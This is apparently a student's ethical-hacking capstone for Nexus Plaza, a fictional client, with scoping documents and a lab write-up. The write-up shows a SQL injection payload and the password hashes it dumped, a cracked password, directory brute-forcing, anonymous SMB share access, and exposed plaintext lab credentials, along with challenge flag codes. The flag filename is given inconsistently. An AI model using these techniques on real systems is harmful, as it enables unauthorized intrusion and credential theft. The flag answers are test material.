

Penetration Testing Engagement

Part I — Pre-Engagement Scope and Planning

CLIENT	COURSE	PREPARED BY	DATE
Nexus Plaza	Intrusion Testing — 420-B06-VA	Marco	18/09/26

1. Scope Worksheet

Answers are derived strictly from the interview with the CEO and IT Director. Each answer cites the underlying fact.

1 What are the client's biggest security concerns?

- A ransomware attack against the production inventory system — the scenario that hit a competitor and caused them to lose customer orders by being unable to pick and ship inventory.
- The client fears the warehouse and shipping systems could be shut down in the same way, since any delivery delay is "a disaster".
- That an attacker who compromises an end-user account/computer inside the warehouse could escalate to administrator access on servers or reach the production inventory database.
- That software and operating systems are out of date or have known vulnerabilities in applications.
- Social engineering as an entry vector — the client states most ransomware and data breaches start with a successful social-engineering attack.

2 What specific server clusters, network address ranges, or applications should be tested?

The systems that support warehousing and shipping, which sit in two datacenter clusters:

- Operations cluster — VLAN 50-55, 172.26.0.0/21
- Logistics cluster — VLAN 80-85, 172.27.0.0/21
- Warehouse LAN — VLAN 150, 172.16.12.0 (end-user systems used in the compromise scenario)
- Shipping LAN — VLAN 170, 172.16.20.0
- Inventory-control application / Microsoft SQL Server database — tested against the provided development SQL Server (mirrored copy of production), not the live database.
- Software and operating systems on the above, to verify they are patched with no known vulns.

3 What specific server clusters, network address ranges, or applications should explicitly *not* be tested?

- Amazon Support cluster (Amazon storefront data and inventory) — VLAN 10-25, 172.25.0.0/16. The IT Director: “no testing should encroach on the datacenter clusters that contain the Amazon storefront data and inventory”.
- The production Microsoft SQL Server database — only the mirrored development system is in scope.
- Any customer-facing ecommerce sites hosted on Amazon.
- Not mentioned as in-scope, therefore excluded by default: the Administration cluster 172.24.1.0/24 and Management cluster 172.30.0.0/16.

4 Will the test be performed against a live production environment or a test environment?

- Both, with controls. Testing targets live production systems, but the client minimizes risk by providing a development Microsoft SQL Server configured identically to production, with a mirrored copy of the database. Disruptive tests (load/DoS) are confined to a maintenance window. The client explicitly requests “minimum” disruption because these are production systems.

5 Will the penetration test include internal network testing? If so, how will access be obtained?

- Yes. The client will provide internal access through an isolated VLAN within the IT department (VLAN 140, 172.16.8.0). Note there is a firewall with integrated IDS between the datacenter networks and the corporate LAN (including IT), and each datacenter server has a local firewall.

6 Are client/end-user systems included in the scope? How many will be leveraged? Social engineering? DoS? Impacting devices?

- **End-user systems:** yes — the warehouse end-user account/computer is part of the tested compromise scenario. A list of warehouse and operations staff email addresses will be provided.
- **Social engineering:** permitted, and limited to the provided warehouse/operations email list.
- **DoS / disruptive attacks:** allowed, but only load testing and DoS simulations during the maintenance window (2:00 am – 6:00 am, Friday/Saturday/Sunday). Other non-disruptive tests may run during normal business hours.
- **Devices that may impact results:** firewall with integrated IDS; per-server local firewalls; Microsoft Active Directory (internal DNS); Linux external DNS in a DMZ.

7 Is testing wireless access part of this engagement?

- No. Wireless testing is not mentioned in the interview and is not in scope.

8 Are web services included in the scope of testing?

- External web services are out of scope. Customer-facing ecommerce is hosted on Amazon (excluded). The IT Director states no HTTP access is permitted into the operations and logistics clusters, so external web-app testing of those clusters is disallowed. Web testing is limited to internal applications (e.g., the SQL-backed inventory application via the development system).

9 Are employees aware of the testing and the timeframe when it will occur?

- No. Only the IT staff directly responsible for monitoring the operations and logistics systems will be notified of when testing occurs. End users will **not** be made aware that testing is taking place.

10 Where is the client data center physically located?

- Houston — a local datacenter in Houston supporting the manufacturing and warehousing facilities.

Reference — Addressing Tables

Datacenter

DEPARTMENT	VLAN	IP ADDRESS
Administration	2-5	172.24.1.0/24
Amazon Support	10-25	172.25.0.0/16
Operations	50-55	172.26.0.0/21
Logistics	80-85	172.27.0.0/21
Management	100-110	172.30.0.0/16

LAN

DEPARTMENT	VLAN	IP ADDRESS
Administration	120	172.16.1.0
Finance	130	172.16.4.0
Information Technology	140	172.16.8.0
Warehouse	150	172.16.12.0
Customer Service	160	172.16.16.0
Shipping	170	172.16.20.0

2. Rules of Engagement

ELEMENT	VALUE
Testing timeline	Engagement begins two weeks after the contract and NDA are signed. Final report due within 60 days. Weekly update report and teleconference delivered to the client contacts.
Location of testing	Internal network testing performed on-site from an isolated VLAN in the IT department. Remote access to client systems via SSL or IPsec VPN. Physical data center located in Houston.
Time windows for testing	Non-disruptive tests: normal business hours. Load testing and denial-of-service simulations: only during the maintenance window, 2:00 am – 6:00 am, Friday/Saturday/Sunday.
Preferred method of communications	Weekly teleconference plus a written update report covering progress and interim findings, delivered to the IT Director, Warehouse Manager, and Operations Manager.
Security controls that could detect/prevent testing	Firewall with integrated IDS between datacenter and corporate LAN; local firewalls on each datacenter server; Microsoft Active Directory (internal DNS); Linux DNS server in a DMZ (external DNS). Testing may be detected by these — treat them as expected and non-destructive.
Sensitive data handling	Minimize exposure of production data: database testing is done on a development SQL Server with a mirrored database, not production. Amazon storefront data and inventory are strictly off-limits. All handling governed by the signed NDA.
IP addresses or networks from which testing will originate	The isolated IT VLAN (172.16.8.0 / VLAN 140) for internal testing; the VPN-terminated source for any remote testing.
Types of allowed or disallowed tests	Allowed: internal network penetration testing, application vulnerability testing, SQL injection against the mirrored development database, OS/software patch verification, SMB/share enumeration, limited social engineering (provided email list), load/DoS testing within the maintenance window. Disallowed: any testing of the Amazon storefront clusters (172.25.0.0/16) or Amazon data/inventory; testing the production SQL database; HTTP access into the operations/logistics clusters; disruptive tests outside the maintenance window.
Client contacts	IT Director, Warehouse Manager, and Operations Manager (primary contacts). Only the IT staff directly responsible for monitoring operations/logistics will be aware of the testing schedule.

3. Penetration Testing Services Agreement

REFERENCE: LIA PROJECT — NEXUS PLAZA · FINAL VERSION

1. Parties to the Agreement

This Penetration Testing Services Agreement ("Agreement") is entered into by and between:

- **Client:** Nexus Plaza, an online retail enterprise operating a datacenter in Houston, Texas ("Client"), and
- **Testing Provider:** SecureTest Group, an information-security testing firm ("Provider").

The individuals authorized to act for each party are the Client's IT Director and the Provider's engagement lead. Collectively the parties.

2. Scope of Work

The Provider will perform a penetration test and security audit of the Client's internal network, focused on the warehousing and shipping systems.

In scope:

- Datacenter Operations cluster (VLAN 50-55, 172.26.0.0/21).
- Datacenter Logistics cluster (VLAN 80-85, 172.27.0.0/21).
- Warehouse LAN (VLAN 150, 172.16.12.0) and Shipping LAN (VLAN 170, 172.16.20.0).
- The inventory-control application and Microsoft SQL Server database, tested against the Client-provided development SQL Server (mirrored copy of production).
- Verification that software and operating systems are current and free of known vulnerabilities.
- Limited social engineering against the Client-provided warehouse/operations staff email list.

Out of scope (excluded):

- The Amazon Support cluster (172.25.0.0/16) and all Amazon storefront data/inventory.
- The production SQL Server database.
- Customer-facing ecommerce sites hosted on Amazon.
- Wireless network testing.
- HTTP access into the operations and logistics clusters.

Access: The Client grants the Provider internal access via an isolated VLAN in the IT department (172.16.8.0). Remote access is via SSL or IPsec VPN.

Deliverables: The Provider will deliver a complete written report including discovered vulnerabilities, successful exploits, and remediation steps to protect vulnerable systems.

3. Timeframe

- Engagement commences two weeks after the signing of this Agreement and the NDA.
- The final report is due within 60 days of commencement.
- Weekly progress update reports and teleconferences will be provided to the IT Director, Warehouse Manager, and Operations Manager.

- Testing windows: non-disruptive testing during normal business hours; load testing and denial-of-service simulations restricted to the maintenance window 2:00 am – 6:00 am, Friday/Saturday/Sunday.

4. Fees, Billing, and Payment

- **Total fixed fee:** \$15,000.00 USD for the full engagement (includes planning, testing, and the final report).
- **Payment schedule:** 50% (\$7,500.00) due upon signing this Agreement; the remaining 50% (\$7,500.00) due upon delivery of the final report.
- **Invoicing:** the Provider invoices per the schedule above; payment is due within 30 days of the invoice date.
- **Additional work:** any work outside the agreed scope requires a written change order and is billed at the Provider's standard rate of \$175.00/hour.

5. Termination of Contract

Either party may terminate this Agreement by providing written notice:

- **For convenience:** 14 days' written notice.
- **For cause:** immediately, if the other party materially breaches this Agreement or the NDA and fails to cure within 7 days of notice.
- **Immediate termination:** the Client may terminate immediately if the Provider performs any testing outside the agreed scope (including the excluded Amazon systems) or in violation of the testing windows.

Upon termination, the Provider will cease all testing, return or destroy all Client data and credentials, and invoice for work completed to the termination date. Confidentiality obligations in the NDA survive termination.

Signatures

Client — Nexus Plaza

Provider — SecureTest Group

NAME / TITLE / DATE

NAME / TITLE / DATE

Part II — Practical Penetration-Testing Challenges

Evidence-based completion of Challenges 1–4, including answers, selected screenshots, and remediation guidance.

Lab environment note: the available DVWA instance at 172.17.0.2 was used for the SQL injection and account-access evidence. The designated dvwa.sa container at 10.6.6.100 was started and used for the directory-listing evidence. All activity remained within the supplied lab environment.

Challenge 1 — SQL Injection and Account Access

Question	Answer
Q1	Gordon Brown's cracked password: abc123
Q2	Flag file name: hxxisx.txt
Q3	Challenge 1 code: 4E9f12
Q4	Five SQL injection remediations: parameterized queries/prepared statements; strict allowlist input validation; least-privilege database accounts; safe ORM/database query methods; generic application errors with security monitoring.

Vulnerability: SQL Injection

User ID:

```

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: admin

ID: 1' UNION SELECT user,password FROM users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION SELECT user,password FROM users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: 1' UNION SELECT user,password FROM users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: 1' UNION SELECT user,password FROM users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: 1' UNION SELECT user,password FROM users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

```

Figure 1 — UNION-based SQL injection disclosed usernames and password hashes, including gordonb.

hashes: 1 cracked: 1 partials: 0 not found: 0 invalid: 0		
hash	type	Result
e99a18c428cb38d5f260853678922e03	md5	abc123

Figure 2 — The MD5 hash was identified and cracked as abc123.

```

gordonb@metasploitable:~$ cat hxxisx.txt
Congratulations!
You found the flag for Challenge 1!
The code for this challenge is 4E9f12.

gordonb@metasploitable:~$ █

```

Figure 3 — Gordon Brown's account accessed the flag file containing code 4E9f12.

Challenge 2 — Web Server Directory Listing

Question	Answer
Q5	Listable directories discovered: /config/, /docs/, and /external/.
Q6	The two relevant subdirectories to search were /docs/ and /config/.
Q7	Flag filename: user_form.html
Q8	The file was located in /docs/.
Q9	Challenge 2 code: 18xf9-4z
Q10	Disable directory indexing; enforce authentication, least-privilege permissions, and remove sensitive files from the public web root.

```
START_TIME: Fri Sep 18 00:12:50 2026
URL_BASE: http://10.6.6.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

-- Scanning URL: http://10.6.6.100/ --
=> DIRECTORY: http://10.6.6.100/config/
=> DIRECTORY: http://10.6.6.100/docs/
=> DIRECTORY: http://10.6.6.100/external/
+ http://10.6.6.100/favicon.ico (CODE:200|SIZE:1406)
+ http://10.6.6.100/index.php (CODE:302|SIZE:0)
+ http://10.6.6.100/php.ini (CODE:200|SIZE:148)
+ http://10.6.6.100/phpinfo.php (CODE:302|SIZE:0)
+ http://10.6.6.100/robots.txt (CODE:200|SIZE:26)
+ http://10.6.6.100/server-status (CODE:403|SIZE:298)

-- Entering directory: http://10.6.6.100/config/ --
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-- Entering directory: http://10.6.6.100/docs/ --
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

-- Entering directory: http://10.6.6.100/external/ --
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

END_TIME: Fri Sep 18 00:12:56 2026
DOWNLOADED: 4612 - FOUND: 6
```

Figure 4 — DIRB identified listable directories on 10.6.6.100.

Index of /docs

Name	Last modified	Size	Description
Parent Directory	-		
DVWA_v1.3.pdf	2017-10-31 17:28	412K	
pdf.html	2017-10-31 17:28	105	
user_form.html	2017-11-12 00:00	1.3K	

Apache/2.4.10 (Debian) Server at 10.6.6.100 Port 80

Figure 5 — The /docs/ listing exposed user_form.html.

Index of /config

Name	Last modified	Size	Description
Parent Directory	-		
config.inc.php	2017-10-31 17:28	1.9K	

Apache/2.4.10 (Debian) Server at 10.6.6.100 Port 80

Figure 6 — The /config/ directory was also publicly listable.

Great work!

You found the flag file for *Challenge 2*!

The code for this flag is: **18xf9-4z**

Figure 7 — The exposed file contained code 18xf9-4z.

Challenge 3 — Open SMB Server Shares

Question	Answer
Q11	SMB host: 10.6.6.23 with TCP ports 139 and 445 open.
Q12	Shares listed: homes, workfiles, print\$, and IPC\$. Anonymous access was available to IPC\$, print\$, and workfiles.
Q13	The flag was located in print\$.
Q14	Flag filename: taxes.txt
Q15	Challenge 3 code: A9!15wa2
Q16	Disable anonymous SMB access; restrict ports 139/445 through firewall rules and network segmentation; enforce share permissions, SMB signing, and current SMB versions.

```
(kali@kali)-[~]
$ nmap -p 139,445 --open 10.6.6.0/24
Starting Nmap 7.94 ( https://nmap.org ) at 2026-09-18 00:20 UTC
Nmap scan report for gravemind.vm (10.6.6.23)
Host is up (0.00098s latency).

PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Nmap done: 256 IP addresses (7 hosts up) scanned in 8.96 seconds
```

Figure 8 — Nmap identified SMB services on 10.6.6.23.

```
(kali@kali)-[~]
$ smbclient -L //10.6.6.23 -N
Anonymous login successful

Sharename      Type      Comment
-----
homes          Disk      All home directories
workfiles      Disk      Confidential Workfiles
print$         Disk      Printer Drivers
IPC$           IPC       IPC Service (Samba 4.9.5-Debian)

Reconnecting with SMB1 for workgroup listing.
Anonymous login successful

Server          Comment
-----
Workgroup       Master
```

Figure 9 — Anonymous SMB enumeration listed available shares.

```
(kali@kali)-[~]
$ smbclient '//10.6.6.23/print$' -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> ls
.                D          0 Mon Aug 14 09:40:01 2023
..               D          0 Mon Aug 30 05:00:05 2021
IA64             D          0 Mon Sep 2 13:39:42 2019
x64             D          0 Mon Aug 30 05:00:05 2021
W32X86          D          0 Mon Aug 30 05:00:05 2021
W32MIPS         D          0 Mon Sep 2 13:39:42 2019
W32ALPHA        D          0 Mon Sep 2 13:39:42 2019
COLOR           D          0 Mon Sep 2 13:39:42 2019
W32PPC          D          0 Mon Sep 2 13:39:42 2019
WIN40           D          0 Mon Sep 2 13:39:42 2019
OTHER           D          0 Tue Aug 10 00:00:00 2021
color           D          0 Mon Aug 30 05:00:05 2021

38497656 blocks of size 1024. 9156600 blocks available
smb: \> cd OTHER
smb: \OTHER> ls
.                D          0 Tue Aug 10 00:00:00 2021
..               D          0 Mon Aug 14 09:40:01 2023
taxes.txt        N          103 Wed Sep 1 00:00:00 2021

38497656 blocks of size 1024. 9156588 blocks available
smb: \OTHER> get taxes.txt
getting file \OTHER\taxes.txt of size 103 as taxes.txt (7.2 KiloBytes/sec) (average 7.2 KiloBytes/sec)
smb: \OTHER>
```

Figure 10 — The OTHER subdirectory in print\$ contained taxes.txt.

```
(kali@kali)-[~]
$ cat taxes.txt
Congratulations!
You found the flag for Challenge 3!
The code for this challenge is A9!15wa2.
```

Figure 11 — The downloaded file contained code A9!15wa2.

Challenge 4 — PCAP Analysis and Exposed XML File

Question	Answer
Q17	Target computer: 10.6.6.14
Q18	Directories revealed included /styles/, /test/, /data/, /webservices/rest/, /includes/, /passwords/, /icons.text/, /javascript/, and /webservices/soap/lib/.
Q19	http://10.6.6.14/data/accounts.xml
Q20	The XML file contained employee records with usernames, plaintext passwords, signatures, and account types. The first record contained the challenge flag.
Q21	Challenge 4 code: zz90014x
Q22	Require authentication and authorization for sensitive files; disable directory listing and remove sensitive files from the public web root. HTTPS should also protect traffic in transit.

No.	Time	Source	Destination	Protocol	Length	Info
14	2.043118533	10.6.6.1	10.6.6.14	HTTP	163	GET /data HTTP/1.1
26	4.081099682	10.6.6.1	10.6.6.14	HTTP	148	GET /styles/global-styles.css HTTP/1.1
36	6.109889544	10.6.6.1	10.6.6.14	HTTP	147	GET /test/ HTTP/1.1
46	8.128953241	10.6.6.1	10.6.6.14	HTTP	179	GET /data HTTP/1.1
56	10.214622862	10.6.6.1	10.6.6.14	HTTP	151	GET /webservices/rest/ws-user-account.php HTTP/1.1
66	12.237982626	10.6.6.1	10.6.6.14	HTTP	152	GET /includes HTTP/1.1
76	14.260899373	10.6.6.1	10.6.6.14	HTTP	157	GET /passwords HTTP/1.1
86	16.283465499	10.6.6.1	10.6.6.14	HTTP	157	GET /icons.text/gif HTTP/1.1
96	18.312598039	10.6.6.1	10.6.6.14	HTTP	169	GET /javascript/follow-mouse.js HTTP/1.1
106	20.312598039	10.6.6.1	10.6.6.14	HTTP	163	GET /webservices/soap/lib HTTP/1.1

Figure 12 — The PCAP revealed HTTP requests to 10.6.6.14, including /data.

Index of /data

Name	Last modified	Size	Description
Parent Directory	-	-	-
accounts.xml	2012-05-14 00:00	5.5K	-

Apache/2.4.7 (Ubuntu) Server at 10.6.6.14 Port 80

Figure 13 — The /data/ directory exposed accounts.xml.

```
<Employees>
-<Employee ID="0">
  <UserName>Flag</UserName>
  <Password>Here is the Code for Challenge 4!</Password>
  <Signature>zz90014x</Signature>
  <Type>Flag</Type>
</Employee>
-<Employee ID="1">
  <UserName>admin</UserName>
  <Password>adminpass</Password>
  <Signature>g0t r00t?</Signature>
  <Type>Admin</Type>
</Employee>
-<Employee ID="2">
  <UserName>adrian</UserName>
  <Password>somepassword</Password>
  <Signature>Zombie Films Rock!</Signature>
  <Type>Admin</Type>
</Employee>
-<Employee ID="3">
  <UserName>john</UserName>
  <Password>monkey</Password>
  <Signature>I like the smell of confunk</Signature>
  <Type>Admin</Type>
```

Figure 14 — The XML flag record contained code zz90014x.

NEXUS PLAZA SECURITY ASSESSMENT

Part III — Professional Penetration Test Report

Prepared by Marco, SecureTest Group · Intrusion Testing 420-B06-VA · 18/09/26

1. Introduction

Purpose and objectives

This assessment evaluated whether weaknesses in the supplied lab environment could expose accounts, sensitive files, internal services, or challenge data. The work simulated the Nexus Plaza engagement objective: determine whether an attacker who reaches an internal user or service can obtain credentials, access restricted files, or compromise internal systems.

Scope and engagement details

The practical scope covered the lab systems at 172.17.0.2, 10.6.6.100, 10.6.6.23, and 10.6.6.14. Testing used internal, grey-box access based on supplied information and credentials obtained during the assessment. The agreed scenario restrictions remain applicable: Amazon systems are excluded, production database testing is represented by a mirrored environment, disruptive testing is restricted to approved windows, and testing must minimize operational disruption. The exact number of end-user systems was not specified in the brief; the warehouse end-user account/computer defined in the compromise scenario was treated as the representative target.

2. Executive Summary

The assessment identified four significant security weaknesses: SQL injection, public directory listing, anonymous SMB access, and unprotected sensitive XML data. Together, these issues demonstrate how a low-privilege foothold can lead to credential disclosure, unauthorized file access, and internal system access.

Finding	Risk	Primary impact
F-01 SQL injection	Critical	Database enumeration, password-hash disclosure, account compromise
F-02 Directory listing	High	Exposure of files and internal application structure
F-03 Anonymous SMB shares	High	Unauthenticated file access and potential data tampering
F-04 Exposed XML credentials	Critical	Plaintext account disclosure and unauthorized file access

Overall posture: High risk. Immediate remediation should prioritize input handling, authentication, access control, sensitive-file removal, and SMB restrictions.

3. Methodology and Testing Approach

The assessment followed a grey-box methodology. Initial information was available from the engagement scope, while reconnaissance and exploitation were performed against live lab targets. The approach was aligned with common phases from NIST SP 800-115, PTES, and OWASP testing guidance.

Phase	Tools and techniques	Result
Reconnaissance	Nmap, DIRB, browser inspection	Identified web services, listable directories, and SMB services
Web exploitation	DVWA, UNION-based SQL injection	Retrieved usernames and password hashes
Credential recovery	Hash identification and CrackStation	Recovered Gordon Brown's password
Account access	SSH	Accessed the user home directory and flag file
SMB enumeration	smbclient, Nmap SMB scripts	Located anonymously accessible shares and files
Traffic analysis	Wireshark, HTTP request filtering	Identified the target, directories, and exposed XML file

Rules of engagement and limitations

- Only lab-assigned systems were tested; excluded Amazon systems were not accessed.
- Testing used non-destructive techniques and documented proof-of-concept evidence.

- Denied or unavailable services were diagnosed without altering project scope.
- Sensitive findings are limited to the controlled training environment.

4. Findings and Vulnerability Analysis

ID	Vulnerability	Risk	Affected host	Evidence
F-01	SQL injection	Critical	DVWA / 172.17.0.2	Figures 1–3
F-02	Directory listing and exposed file	High	10.6.6.100	Figures 4–7
F-03	Anonymous SMB shares	High	10.6.6.23	Figures 8–11
F-04	Exposed XML credential file	Critical	10.6.6.14	Figures 12–14

F-01 — SQL Injection

Description: The User ID input accepted SQL syntax. A UNION-based payload disclosed the users table, including usernames and MD5 password hashes.

Evidence: Gordon Brown's username gordonb and hash e99a18c428cb38d5f260853678922e03 were retrieved. The hash cracked to abc123, allowing SSH access and retrieval of hkxisx.txt.

Impact: An attacker can enumerate database objects, steal credentials, reuse passwords, and pivot to internal systems. Because the obtained password enabled account access, the practical impact was demonstrated end-to-end.

Exploitability: High. The vulnerability required only a browser input and a standard UNION query at the low security setting.

F-02 — Public Directory Listing and Sensitive File Exposure

Description: Apache directory indexing was enabled on /config/, /docs/, and /external/ at 10.6.6.100.

Evidence: The /docs/ listing exposed user_form.html, which contained the Challenge 2 code. The /config/ listing also exposed an application configuration file.

Impact: Directory indexing reveals application structure and can expose configuration files, credentials, documentation, backups, or other sensitive content. Attackers can use this information to plan more targeted attacks.

Risk rating: High because sensitive files can be accessed without authentication, even though the demonstrated flag itself is lab data.

F-03 — Anonymous SMB Access

Description: The host 10.6.6.23 exposed SMB on TCP 139 and 445. Anonymous enumeration listed IPC\$, print\$, and workfiles with read/write access.

Evidence: The print\$ share contained OTHER/taxes.txt, which was downloaded anonymously and contained the Challenge 3 code.

Impact: Unauthenticated users may read confidential files, alter or delete data, plant malicious files, or use share contents to support lateral movement.

Risk rating: High because anonymous read/write access bypasses normal account controls.

F-04 — Exposed XML Credential File and Plaintext HTTP

Description: The PCAP showed HTTP requests to 10.6.6.14. Browser inspection confirmed that /data/accounts.xml was publicly accessible.

Evidence: The XML file contained employee records with plaintext usernames, passwords, signatures, and account types. The first record contained the Challenge 4 code zz90014x.

Impact: Exposure of plaintext credentials can lead to account compromise and password reuse. Unencrypted HTTP also allows network observers to view requested paths and file contents.

Risk rating: Critical because the file disclosed multiple account credentials and was available without authentication.

5. Remediation Recommendations

Priority	Action	Addresses
Immediate	Replace dynamic SQL with parameterized queries; validate input using allowlists; use least-privilege database accounts.	F-01
Immediate	Disable directory indexing and remove or restrict sensitive files outside the public web root.	F-02, F-04
Immediate	Disable anonymous SMB access; require authentication; restrict SMB to authorized subnets; enable SMB signing and disable legacy versions.	F-03
Short term	Move credentials out of XML files, hash passwords with a modern salted algorithm, enforce TLS, and rotate exposed credentials.	F-01, F-04
Long term	Implement patch management, configuration baselines, network segmentation, centralized logging, alerting, and periodic vulnerability assessments.	All findings

6. Conclusion

The assessment demonstrated a realistic attack chain across web, database, file-sharing, and network-traffic weaknesses. SQL injection enabled credential disclosure and account access; directory indexing exposed files; anonymous SMB permissions allowed unauthenticated file retrieval; and an exposed XML file disclosed plaintext credentials. The combined result indicates a high overall security risk.

Recommended follow-up actions are to remediate the four findings, rotate all exposed credentials, verify fixes through retesting, and schedule recurring vulnerability assessments. A full penetration test should be repeated after major infrastructure or application changes, and at least annually for the environment represented by this engagement.

7. Appendices

Appendix A — Evidence index

Figures 1–3 document Challenge 1; Figures 4–7 document Challenge 2; Figures 8–11 document Challenge 3; Figures 12–14 document Challenge 4. The original screenshots are retained as raw evidence.

Appendix B — Glossary

SQL injection	Insertion of SQL syntax into an application input to manipulate a database query.
Directory listing	A web-server feature that displays files and folders when no index page is present.
SMB	Server Message Block, a network protocol used for file and printer sharing.
PCAP	A packet-capture file used to analyze network traffic.
Grey-box testing	Testing with partial internal knowledge or access, between black-box and white-box testing.

Appendix C — References

1. Cisco Networking Academy. *Ethical Hacker Course — Capstone Project*.
2. OWASP Foundation. *OWASP Top 10:2021*. <https://owasp.org/Top10/>
3. National Institute of Standards and Technology. *NIST SP 800-115: Technical Guide to Information Security Testing and Assessment*.
4. Penetration Testing Execution Standard. *PTES Technical Guidelines*.